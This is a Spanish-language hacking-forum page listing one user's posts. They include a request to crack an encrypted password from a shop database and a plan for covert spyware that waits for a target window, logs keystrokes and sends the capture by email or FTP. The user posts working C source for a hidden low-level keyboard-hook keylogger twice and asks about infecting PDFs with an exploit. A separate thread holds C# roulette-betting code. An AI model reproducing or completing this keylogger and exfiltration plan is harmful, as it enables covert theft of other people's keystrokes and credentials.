elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: [1] 2 3 4
1  Seguridad Informática / Seguridad / Buscando Cifrado Para Esta Encriptacion en: 2 Octubre 2014, 15:36 pm
Buenas a Todos, compañeros estoy ya desde un par de horas tratando de buscarle el cifrado a esta cadena, a mis corta investigaciones eh descubierto que Supuestamente es RC4, eh buscado varias herramientas para descifrar, pero con ninguna eh podido, la verdad ya me doy por vencido espeo que alguno de uds me pueda echar una manito

aqui les dedo la cadena

Si Preguntan si es de Una Base De datos , asi es. y es de una llamada comersus.mdb

Código:
Key Rc4 encriptacion: AJHGJHSJAH77873ASJHASAL102394
Código:
User: pekka  Passowrd : |181|0|118|53|121|54|175|65 
2  Programación / Programación C/C++ / Re: Captura de datos, cuando , (determinado momento) en: 23 Febrero 2014, 17:05 pm
¿Dónde lo pone? :) Si no me equivoco, estás preguntando si es posible realizar una aplicación con ese esquema, no estás pidiendo ayuda concreta sobre una función o un fragmento de código en C++. Revísate las normas del foro, haz el favor.

Y la ruta más fácil depende de muchas variables, entre ellas la aplicación que tengas como objetivo (Y que sea la más fácil no significa que sea la más eficaz). Si quieres una ayuda más técnica tendrás que ser más preciso en tus explicaciones. Yo he nombrado la inyección de código por el problema que planteaba amchacon, pero muy probablemente haya mejores técnicas y métodos para hacerlo.

bueno si lo postie, aqui , fue por una razon, no por jugar al tin marin, busque un poco en la red y encontre lo siguientes datos

encontre esto

basicamente, la aplicacion detecta un  proceso en ejecucion,

PASO #1

Código:
#include <vdmdbg.h>

String Server = "xxxx.exe";
bool Conectado = IsRuningW(Server.c_str()) ;
 
bool IsRunning16_(char* Name)
{
  struct TRuningProcess16{
    char* Name;
    bool Running;
 
 
    static BOOL WINAPI
    ProcessTasks(DWORD dwThreadId, WORD hMod16, WORD hTask16, PSZ pszModName, PSZ pszFileName, LPARAM PE)
    {
       if(strstr(strupr(pszFileName), strupr(((TRuningProcess16*)PE)->Name)))
          return ((TRuningProcess16*)PE)->Running = true;
       return false;
    }
    static BOOL WINAPI
    ProcessVDMs(DWORD dwProcessId, DWORD dwAttrib, LPARAM PE)
    {
       VDMEnumTaskWOWEx(dwProcessId, (TASKENUMPROCEX)ProcessTasks, PE);
       return ((TRuningProcess16*)PE)->Running;
    }
 
  } PE = {Name,0};
 
  VDMEnumProcessWOW((PROCESSENUMPROC)ProcessVDMs, (LPARAM)&PE);
  return PE.Running;
}


primer paso echo.

seguire editando segun vaya encontrando los paso a paso

SIGO..

PASO#2
Código:
/*
 * Código presentado por Elinv.
 * Captura una ventana por su caption y le envia datos.
 * Hotkey para finalizar un programa
 * CODE BLOCK 10.05 -
 * Win32 GUI project -> tipo Frame Based
 */

Código:
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>
 
// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;
 
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);
 
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
 
FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);
 
if (hThread) return WaitForSingleObject (hThread, INFINITE);
 
return 1;
}
 
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {
 
if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
 
// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);
 
// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;
 
// load the key name in a buffer
char keyName[0x100];
memset (keyName, 0, 0x100);
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';
 
// write the buffer in file
FILE *f = fopen ("log.txt", "a+");
fputs (keyName, f);
fclose (f);
}
 
return CallNextHookEx (NULL, nCode, wParam, lParam);
}
 
DWORD __stdcall Keylogger (LPVOID path) {
 
// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);
 
// two methods failed so return error
if (!hExec) return 1;
 
// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);
 
// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}
 
void MessageLoop (void) {
 
MSG message;
 
while (GetMessage (&message, NULL, 0, 0)) {
 
TranslateMessage (&message);
DispatchMessage (&message);
}
}
 

PASO #4 PRENDER CAPTURA MODO KEYLOGGER ON

Código:
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>
 
// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;
 
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);
 
int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
 
FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);
 
if (hThread) return WaitForSingleObject (hThread, INFINITE);
 
return 1;
}
 
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {
 
if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
 
// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);
 
// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;
 
// load the key name in a buffer
char keyName[0x100];
memset (keyName, 0, 0x100);
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';
 
// write the buffer in file
FILE *f = fopen ("log.txt", "a+");
fputs (keyName, f);
fclose (f);
}
 
return CallNextHookEx (NULL, nCode, wParam, lParam);
}
 
DWORD __stdcall Keylogger (LPVOID path) {
 
// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);
 
// two methods failed so return error
if (!hExec) return 1;
 
// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);
 
// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}
 
void MessageLoop (void) {
 
MSG message;
 
while (GetMessage (&message, NULL, 0, 0)) {
 
TranslateMessage (&message);
DispatchMessage (&message);
}
}
 
3  Programación / Programación C/C++ / Re: Captura de datos, cuando , (determinado momento) en: 23 Febrero 2014, 15:53 pm
Venga hombre, que no nací ayer. De todas maneras, aun sin considerarlo malware seguiría estando en un subforo incorrecto (Su subforo sería Programación general).
Creo que sería más fácil mediante inyección de código. De esta manera te aseguras que los datos que recibes son estrictamente únicos del "target".

y si yo lo quiero programar en C/C++ ? creo q olvidaste esa probavilidad, ahora , tecnicamente, cual seria la ruta mas facil
4  Programación / Programación C/C++ / Re: Captura de datos, cuando , (determinado momento) en: 23 Febrero 2014, 14:38 pm
realmente yo no lo veo como un malware, solo es un programa por fun
5  Seguridad Informática / Hacking / Duda, sobre tema en el foro en: 23 Febrero 2014, 13:44 pm
Disculpe la imprudencia, señores hackers,  estoy buscando un tema, aqui en el foro que por casualidad vi hace dias, pero no recuerdo donde , intente buscar por el buscador del foro y sigo sin encontrar

el tema se trata de infectar una rchivo pdf o una vulnerabilidad que tiene.algo asi y se le puede meter un exploit
6  Seguridad Informática / Hacking / Re: mapeo de programa en: 23 Febrero 2014, 06:28 am
Ingeniería inversa, no sé por que preguntas eso si ya vienes de ese foro :S

saludos

ola under,  eso penc ing inversa,  =  mucho lenguaje ASM, no soy muy buen sorfista  para moverme por este lenguaje, penc que si se podia por otro lado? tal vez

gracias por el coment

7  Programación / Programación C/C++ / Captura de datos, cuando , (determinado momento) en: 23 Febrero 2014, 06:19 am
Ola comunidad, tengo una duda con respecto, umm digamolo asi, a la arquitectura de un programa, que tengoen mente pero dudo si es posible o no, por eso acudo a uds, para q resuelvan mi duda,

el proposito principal del programa es el siguiente,

1.ejecutarce ocultamente, y estar a la espera
2.detectar xxx.exe proceso
3.interceptar con nombre xxx una subventada del proceso xxx.exe
4.prender modo captura keylogger on
5.verifica cuando la subventana xxx es cerrada
6.detener la captura de datos keylogger
7.mandar datos obtenidos por correo o email
8.fin del programa

este seria el esqueleto , del programa

2paso . luego a la espera, hacechando su presa, un programa "otro programa ejecutado previamente, puede ser una aplicacion cualquiera como ejemplo " una vez el programa es ejecutado, mi programa la intercepta

3páso.verifica "si es posible" por el nombre de la ventana, ej: abres el programa presa, digamos que es un programa , dentro del programa, das clicl  en un boton y este conduce a una subventana del programa con otras respectivas opciones es decir, PROGRAMA COMPLETO EJECUTADO-ABRIR BOTON-ABRE SUBVENTANA DE EL PROGRAMA

4.una vez detectada esta subventana, mi programa espia, comienza a capturar, datos, como snifer, en ese determinado tiempo,  pongamolo en un modo entendible.

Código:
*MY PROGRAMA
     -A LA ESPERA DEL PROGRAMA PRESA .
                SI EL PROCESO XXX.EXE ES EJECUTADO
                       ENTONCES [ESPERA Y VERIFICA VENTANA PRESA CON NOMBRE XXX DEL PROCESO XXX.EXE]
                        SI ES [EMPEZAR A CAPTURAR DATOS]
                               *VERIFICA CONSTANTEMENTE SI LA VENTANA PRESA FUE CERRADA
                                         ENTONCES [TERMINE DE CAPTURAR DATOS]
                                               Y LUEGO [GENERAR UN TXT Y MANDARLO POR CORREO O SUBIRLO VIA FTP A UN SERVIDOR ]

FIN DEL PROGRAMA
                                                  



8  Seguridad Informática / Hacking / mapeo de programa en: 23 Febrero 2014, 05:54 am
buenas noches estoy buscando informacion es q necesito mapear un programa, mapear quiero decir, investigar y saber como funciona, internamente el programa, como trabaja, con los datos, q puertos utiliza, el cliente, y a donde se conecta, como autentifica , el login, necesito saber todo todo,

tanto todo los datos q salen como entran, y si es posible, obtener la ip de una computadora cuyo programa mismo este instalado.

es posible de hacer este tipo de mapeo, sin saber, un comino de programacion?  y si se pudiera, q paso tendria a seguir o q herramientas podrian funcionar.

gracias,
9  Programación / .NET (C#, VB.NET, ASP) / Re: Convertir de .NET a JAVA en: 9 Febrero 2014, 00:29 am
es que lo que pides no es tan simple como crees y la verdad no tengo ganas de matarme haciendo eso , ademas mis conocimientos en java son basicos y c# medio  lo entiendo porque se parece a c.


descuida no te estoy precionando para hacelro, de echo los 20 estan sobre la mesa,  aqui  pongo el codigo en java, convertido por un programa especializado en esa funcion

http://www.mediafire.com/download/307c1q2f86fiiar/RouletteTable.rar
10  Programación / .NET (C#, VB.NET, ASP) / Re: Convertir de .NET a JAVA en: 9 Febrero 2014, 00:18 am
sabes programar?

sospecho que la parte del codigo que buscas esta aca:

Código
  1. private void System1()
  2.    {
  3.      int num1 = 0;
  4.      int num2 = 0;
  5.      for (int index = 0; (Decimal) index < this.numericUpDown1.Value; ++index)
  6.      {
  7.        if (this.lastseven[index] == 1 || this.lastseven[index] == 3 || (this.lastseven[index] == 5 || this.lastseven[index] == 7) || (this.lastseven[index] == 9 || this.lastseven[index] == 12 || (this.lastseven[index] == 14 || this.lastseven[index] == 16)) || (this.lastseven[index] == 18 || this.lastseven[index] == 19 || (this.lastseven[index] == 21 || this.lastseven[index] == 23) || (this.lastseven[index] == 25 || this.lastseven[index] == 27 || (this.lastseven[index] == 30 || this.lastseven[index] == 32))) || this.lastseven[index] == 34 || this.lastseven[index] == 36)
  8.          num1 = 1;
  9.        else if (this.lastseven[index] == 2 || this.lastseven[index] == 4 || (this.lastseven[index] == 6 || this.lastseven[index] == 8) || (this.lastseven[index] == 10 || this.lastseven[index] == 11 || (this.lastseven[index] == 13 || this.lastseven[index] == 15)) || (this.lastseven[index] == 17 || this.lastseven[index] == 20 || (this.lastseven[index] == 22 || this.lastseven[index] == 24) || (this.lastseven[index] == 26 || this.lastseven[index] == 28 || (this.lastseven[index] == 29 || this.lastseven[index] == 31))) || this.lastseven[index] == 33 || this.lastseven[index] == 35)
  10.          num2 = 1;
  11.      }
  12.      if (num1 == 0 && num2 == 0)
  13.        return;
  14.      if (num1 == 0)
  15.      {
  16.        this.rp_lblred.Visible = true;
  17.        this.rp_lblred.BringToFront();
  18.        this.rp_pictred.Visible = true;
  19.        int num3;
  20.        if (this.rp_lblred.Text == "")
  21.        {
  22.          num3 = 1;
  23.        }
  24.        else
  25.        {
  26.          num3 = (int) Convert.ToInt16(this.rp_lblred.Text);
  27.          if (num3 != 256)
  28.            num3 *= 2;
  29.        }
  30.        if (num3 < 10)
  31.          this.rp_lblred.Text = "  " + num3.ToString();
  32.        else if (num3 < 100)
  33.          this.rp_lblred.Text = " " + num3.ToString();
  34.        else
  35.          this.rp_lblred.Text = num3.ToString();
  36.        this.rp_lblblack.Text = "";
  37.        this.rp_lblblack.Visible = false;
  38.        this.rp_pictblack.Visible = false;
  39.      }
  40.      else if (num2 == 0)
  41.      {
  42.        this.rp_pictblack.Visible = true;
  43.        this.rp_lblblack.Visible = true;
  44.        this.rp_lblblack.BringToFront();
  45.        int num3;
  46.        if (this.rp_lblblack.Text == "")
  47.        {
  48.          num3 = 1;
  49.        }
  50.        else
  51.        {
  52.          num3 = (int) Convert.ToInt16(this.rp_lblblack.Text);
  53.          if (num3 != 256)
  54.            num3 *= 2;
  55.        }
  56.        if (num3 < 10)
  57.          this.rp_lblblack.Text = "  " + num3.ToString();
  58.        else if (num3 < 100)
  59.          this.rp_lblblack.Text = " " + num3.ToString();
  60.        else
  61.          this.rp_lblblack.Text = num3.ToString();
  62.        this.rp_lblred.Text = "";
  63.        this.rp_lblred.Visible = false;
  64.        this.rp_pictred.Visible = false;
  65.      }
  66.      else
  67.      {
  68.        this.rp_lblred.Text = "";
  69.        this.rp_lblred.Visible = false;
  70.        this.rp_pictred.Visible = false;
  71.        this.rp_lblblack.Text = "";
  72.        this.rp_lblblack.Visible = false;
  73.        this.rp_pictblack.Visible = false;
  74.      }
  75.    }
  76.  
  77.    private void System2()
  78.    {
  79.      int num1 = 0;
  80.      int num2 = 0;
  81.      for (int index = 0; (Decimal) index < this.numericUpDown2.Value; ++index)
  82.      {
  83.        if (this.lastseven[index] != 0)
  84.        {
  85.          if (this.lastseven[index] % 2 == 0)
  86.            num2 = 1;
  87.          else if (this.lastseven[index] % 2 == 1)
  88.            num1 = 1;
  89.        }
  90.      }
  91.      if (num1 == 0 && num2 == 0)
  92.        return;
  93.      if (num1 == 0)
  94.      {
  95.        this.rt_LblOdd.Visible = true;
  96.        this.rt_LblOdd.BringToFront();
  97.        this.rt_PictOdd.Visible = true;
  98.        int num3;
  99.        if (this.rt_LblOdd.Text == "")
  100.        {
  101.          num3 = 1;
  102.        }
  103.        else
  104.        {
  105.          num3 = (int) Convert.ToInt16(this.rt_LblOdd.Text);
  106.          if (num3 != 256)
  107.            num3 *= 2;
  108.        }
  109.        if (num3 < 10)
  110.          this.rt_LblOdd.Text = "  " + num3.ToString();
  111.        else if (num3 < 100)
  112.          this.rt_LblOdd.Text = " " + num3.ToString();
  113.        else
  114.          this.rt_LblOdd.Text = num3.ToString();
  115.        this.rt_LblEven.Text = "";
  116.        this.rt_LblEven.Visible = false;
  117.        this.rt_PictEven.Visible = false;
  118.      }
  119.      else if (num2 == 0)
  120.      {
  121.        this.rt_PictEven.Visible = true;
  122.        this.rt_LblEven.Visible = true;
  123.        this.rt_LblEven.BringToFront();
  124.        int num3;
  125.        if (this.rt_LblEven.Text == "")
  126.        {
  127.          num3 = 1;
  128.        }
  129.        else
  130.        {
  131.          num3 = (int) Convert.ToInt16(this.rt_LblEven.Text);
  132.          if (num3 != 256)
  133.            num3 *= 2;
  134.        }
  135.        if (num3 < 10)
  136.          this.rt_LblEven.Text = "  " + num3.ToString();
  137.        else if (num3 < 100)
  138.          this.rt_LblEven.Text = " " + num3.ToString();
  139.        else
  140.          this.rt_LblEven.Text = num3.ToString();
  141.        this.rt_LblOdd.Text = "";
  142.        this.rt_LblOdd.Visible = false;
  143.        this.rt_PictOdd.Visible = false;
  144.      }
  145.      else
  146.      {
  147.        this.rt_LblOdd.Text = "";
  148.        this.rt_LblOdd.Visible = false;
  149.        this.rt_PictOdd.Visible = false;
  150.        this.rt_LblEven.Text = "";
  151.        this.rt_LblEven.Visible = false;
  152.        this.rt_PictEven.Visible = false;
  153.      }
  154.    }
  155.  
  156.    private void System3()
  157.    {
  158.      int num1 = 0;
  159.      int num2 = 0;
  160.      for (int index = 0; (Decimal) index < this.numericUpDown3.Value; ++index)
  161.      {
  162.        if (this.lastseven[index] != 0)
  163.        {
  164.          if (this.lastseven[index] < 19 && this.lastseven[index] > 0)
  165.            num1 = 1;
  166.          else if (this.lastseven[index] > 18)
  167.            num2 = 1;
  168.        }
  169.      }
  170.      if (num1 == 0 && num2 == 0)
  171.        return;
  172.      if (num1 == 0)
  173.      {
  174.        this.rt_LblLow.Visible = true;
  175.        this.rt_LblLow.BringToFront();
  176.        this.rt_PictLow.Visible = true;
  177.        int num3;
  178.        if (this.rt_LblLow.Text == "")
  179.        {
  180.          num3 = 1;
  181.        }
  182.        else
  183.        {
  184.          num3 = (int) Convert.ToInt16(this.rt_LblLow.Text);
  185.          if (num3 != 256)
  186.            num3 *= 2;
  187.        }
  188.        if (num3 < 10)
  189.          this.rt_LblLow.Text = "  " + num3.ToString();
  190.        else if (num3 < 100)
  191.          this.rt_LblLow.Text = " " + num3.ToString();
  192.        else
  193.          this.rt_LblLow.Text = num3.ToString();
  194.        this.rt_LblHigh.Text = "";
  195.        this.rt_LblHigh.Visible = false;
  196.        this.rt_PictHigh.Visible = false;
  197.      }
  198.      else if (num2 == 0)
  199.      {
  200.        this.rt_PictHigh.Visible = true;
  201.        this.rt_LblHigh.Visible = true;
  202.        this.rt_LblHigh.BringToFront();
  203.        int num3;
  204.        if (this.rt_LblHigh.Text == "")
  205.        {
  206.          num3 = 1;
  207.        }
  208.        else
  209.        {
  210.          num3 = (int) Convert.ToInt16(this.rt_LblHigh.Text);
  211.          if (num3 != 256)
  212.            num3 *= 2;
  213.        }
  214.        if (num3 < 10)
  215.          this.rt_LblHigh.Text = "  " + num3.ToString();
  216.        else if (num3 < 100)
  217.          this.rt_LblHigh.Text = " " + num3.ToString();
  218.        else
  219.          this.rt_LblHigh.Text = num3.ToString();
  220.        this.rt_LblLow.Text = "";
  221.        this.rt_LblLow.Visible = false;
  222.        this.rt_PictLow.Visible = false;
  223.      }
  224.      else
  225.      {
  226.        this.rt_LblLow.Text = "";
  227.        this.rt_LblLow.Visible = false;
  228.        this.rt_PictLow.Visible = false;
  229.        this.rt_LblHigh.Text = "";
  230.        this.rt_LblHigh.Visible = false;
  231.        this.rt_PictHigh.Visible = false;
  232.      }
  233.    }
  234.  
  235.    private void System4()
  236.    {
  237.      int num1 = 0;
  238.      int num2 = 0;
  239.      int num3 = 0;
  240.      for (int index = 0; (Decimal) index < this.numericUpDown4.Value; ++index)
  241.      {
  242.        if (this.lastseven[index] == 1 || this.lastseven[index] == 4 || (this.lastseven[index] == 7 || this.lastseven[index] == 10) || (this.lastseven[index] == 13 || this.lastseven[index] == 16 || (this.lastseven[index] == 19 || this.lastseven[index] == 22)) || (this.lastseven[index] == 25 || this.lastseven[index] == 28 || this.lastseven[index] == 31) || this.lastseven[index] == 34)
  243.          num1 = 1;
  244.        else if (this.lastseven[index] == 2 || this.lastseven[index] == 5 || (this.lastseven[index] == 8 || this.lastseven[index] == 11) || (this.lastseven[index] == 14 || this.lastseven[index] == 17 || (this.lastseven[index] == 20 || this.lastseven[index] == 23)) || (this.lastseven[index] == 26 || this.lastseven[index] == 29 || this.lastseven[index] == 32) || this.lastseven[index] == 35)
  245.          num2 = 1;
  246.        else if (this.lastseven[index] == 3 || this.lastseven[index] == 6 || (this.lastseven[index] == 9 || this.lastseven[index] == 12) || (this.lastseven[index] == 15 || this.lastseven[index] == 18 || (this.lastseven[index] == 21 || this.lastseven[index] == 24)) || (this.lastseven[index] == 27 || this.lastseven[index] == 30 || this.lastseven[index] == 33) || this.lastseven[index] == 36)
  247.          num3 = 1;
  248.      }
  249.      if (num1 == 0 && num2 == 0 && (num3 == 0 && this.rt_Lbl1Column.Text == "") && this.rt_Lbl2Column.Text == "" && this.rt_Lbl3Column.Text == "")
  250.        return;
  251.      int i;
  252.      if (num1 == 0)
  253.      {
  254.        this.rt_Lbl1Column.Visible = true;
  255.        this.rt_Pict1Column.Visible = true;
  256.        i = !(this.rt_Lbl1Column.Text == "") ? this.DifferentBetting((int) Convert.ToInt16(this.rt_Lbl1Column.Text)) : 1;
  257.        if (i < 10)
  258.          this.rt_Lbl1Column.Text = "  " + i.ToString();
  259.        else if (i < 100)
  260.          this.rt_Lbl1Column.Text = " " + i.ToString();
  261.        else
  262.          this.rt_Lbl1Column.Text = i.ToString();
  263.      }
  264.      if (num2 == 0)
  265.      {
  266.        this.rt_Lbl2Column.Visible = true;
  267.        this.rt_Pict2Column.Visible = true;
  268.        if (this.rt_Lbl2Column.Text == "")
  269.        {
  270.          i = 1;
  271.        }
  272.        else
  273.        {
  274.          i = (int) Convert.ToInt16(this.rt_Lbl2Column.Text);
  275.          i = this.DifferentBetting(i);
  276.        }
  277.        if (i < 10)
  278.          this.rt_Lbl2Column.Text = "  " + i.ToString();
  279.        else if (i < 100)
  280.          this.rt_Lbl2Column.Text = " " + i.ToString();
  281.        else
  282.          this.rt_Lbl2Column.Text = i.ToString();
  283.      }
  284.      if (num3 == 0)
  285.      {
  286.        this.rt_Lbl3Column.Visible = true;
  287.        this.rt_Pict3Column.Visible = true;
  288.        if (this.rt_Lbl3Column.Text == "")
  289.        {
  290.          i = 1;
  291.        }
  292.        else
  293.        {
  294.          i = (int) Convert.ToInt16(this.rt_Lbl3Column.Text);
  295.          i = this.DifferentBetting(i);
  296.        }
  297.        if (i < 10)
  298.          this.rt_Lbl3Column.Text = "  " + i.ToString();
  299.        else if (i < 100)
  300.          this.rt_Lbl3Column.Text = " " + i.ToString();
  301.        else
  302.          this.rt_Lbl3Column.Text = i.ToString();
  303.      }
  304.      if (num1 == 1)
  305.      {
  306.        this.rt_Lbl1Column.Text = "";
  307.        this.rt_Lbl1Column.Visible = false;
  308.        this.rt_Pict1Column.Visible = false;
  309.      }
  310.      if (num2 == 1)
  311.      {
  312.        this.rt_Lbl2Column.Text = "";
  313.        this.rt_Lbl2Column.Visible = false;
  314.        this.rt_Pict2Column.Visible = false;
  315.      }
  316.      if (num3 == 1)
  317.      {
  318.        this.rt_Lbl3Column.Text = "";
  319.        this.rt_Lbl3Column.Visible = false;
  320.        this.rt_Pict3Column.Visible = false;
  321.      }
  322.      if (num1 != 1 || num2 != 1 || num3 != 1)
  323.        ;
  324.    }
  325.  
  326.    private void System5()
  327.    {
  328.      int num1 = 0;
  329.      int num2 = 0;
  330.      int num3 = 0;
  331.      for (int index = 0; (Decimal) index < this.numericUpDown5.Value; ++index)
  332.      {
  333.        if (this.lastseven[index] > 0 && this.lastseven[index] < 13)
  334.          num1 = 1;
  335.        else if (this.lastseven[index] > 12 && this.lastseven[index] < 25)
  336.          num2 = 1;
  337.        else if (this.lastseven[index] > 24)
  338.          num3 = 1;
  339.      }
  340.      if (num1 == 0 && num2 == 0 && (num3 == 0 && this.rt_Lbl1Dozen.Text == "") && this.rt_Lbl2Dozen.Text == "" && this.rt_Lbl3Dozen.Text == "")
  341.        return;
  342.      int i;
  343.      if (num1 == 0)
  344.      {
  345.        this.rt_Lbl1Dozen.Visible = true;
  346.        this.rt_Pict1Dozen.Visible = true;
  347.        i = !(this.rt_Lbl1Dozen.Text == "") ? this.DifferentBetting((int) Convert.ToInt16(this.rt_Lbl1Dozen.Text)) : 1;
  348.        if (i < 10)
  349.          this.rt_Lbl1Dozen.Text = "  " + i.ToString();
  350.        else if (i < 100)
  351.          this.rt_Lbl1Dozen.Text = " " + i.ToString();
  352.        else
  353.          this.rt_Lbl1Dozen.Text = i.ToString();
  354.      }
  355.      if (num2 == 0)
  356.      {
  357.        this.rt_Lbl2Dozen.Visible = true;
  358.        this.rt_Pict2Dozen.Visible = true;
  359.        if (this.rt_Lbl2Dozen.Text == "")
  360.        {
  361.          i = 1;
  362.        }
  363.        else
  364.        {
  365.          i = (int) Convert.ToInt16(this.rt_Lbl2Dozen.Text);
  366.          i = this.DifferentBetting(i);
  367.        }
  368.        if (i < 10)
  369.          this.rt_Lbl2Dozen.Text = "  " + i.ToString();
  370.        else if (i < 100)
  371.          this.rt_Lbl2Dozen.Text = " " + i.ToString();
  372.        else
  373.          this.rt_Lbl2Dozen.Text = i.ToString();
  374.      }
  375.      if (num3 == 0)
  376.      {
  377.        this.rt_Lbl3Dozen.Visible = true;
  378.        this.rt_Pict3Dozen.Visible = true;
  379.        if (this.rt_Lbl3Dozen.Text == "")
  380.        {
  381.          i = 1;
  382.        }
  383.        else
  384.        {
  385.          i = (int) Convert.ToInt16(this.rt_Lbl3Dozen.Text);
  386.          i = this.DifferentBetting(i);
  387.        }
  388.        if (i < 10)
  389.          this.rt_Lbl3Dozen.Text = "  " + i.ToString();
  390.        else if (i < 100)
  391.          this.rt_Lbl3Dozen.Text = " " + i.ToString();
  392.        else
  393.          this.rt_Lbl3Dozen.Text = i.ToString();
  394.      }
  395.      if (num1 == 1)
  396.      {
  397.        this.rt_Lbl1Dozen.Text = "";
  398.        this.rt_Lbl1Dozen.Visible = false;
  399.        this.rt_Pict1Dozen.Visible = false;
  400.      }
  401.      if (num2 == 1)
  402.      {
  403.        this.rt_Lbl2Dozen.Text = "";
  404.        this.rt_Lbl2Dozen.Visible = false;
  405.        this.rt_Pict2Dozen.Visible = false;
  406.      }
  407.      if (num3 == 1)
  408.      {
  409.        this.rt_Lbl3Dozen.Text = "";
  410.        this.rt_Lbl3Dozen.Visible = false;
  411.        this.rt_Pict3Dozen.Visible = false;
  412.      }
  413.      if (num1 != 1 || num2 != 1 || num3 != 1)
  414.        ;
  415.    }
  416.  
  417.    private int DifferentBetting(int i)
  418.    {
  419.      if (i < 4)
  420.        ++i;
  421.      else if (i == 4)
  422.        i = 6;
  423.      else if (i == 6)
  424.        i = 9;
  425.      else if (i == 9)
  426.        i = 13;
  427.      else if (i == 13)
  428.        i = 20;
  429.      else if (i == 20)
  430.        i = 30;
  431.      else if (i == 30)
  432.        i = 45;
  433.      else if (i == 45)
  434.        i = 67;
  435.      else if (i == 67)
  436.        i = 101;
  437.      else if (i != 101)
  438.        ;
  439.      return i;
  440.    }


darko te paso un convertidor que encontre? , el problema es q , ya lo converti a java, segun el programa, pero al compilarlo me da algunos errores? qu e dices, si te mando el codigo del programa en java?
Páginas: [1] 2 3 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines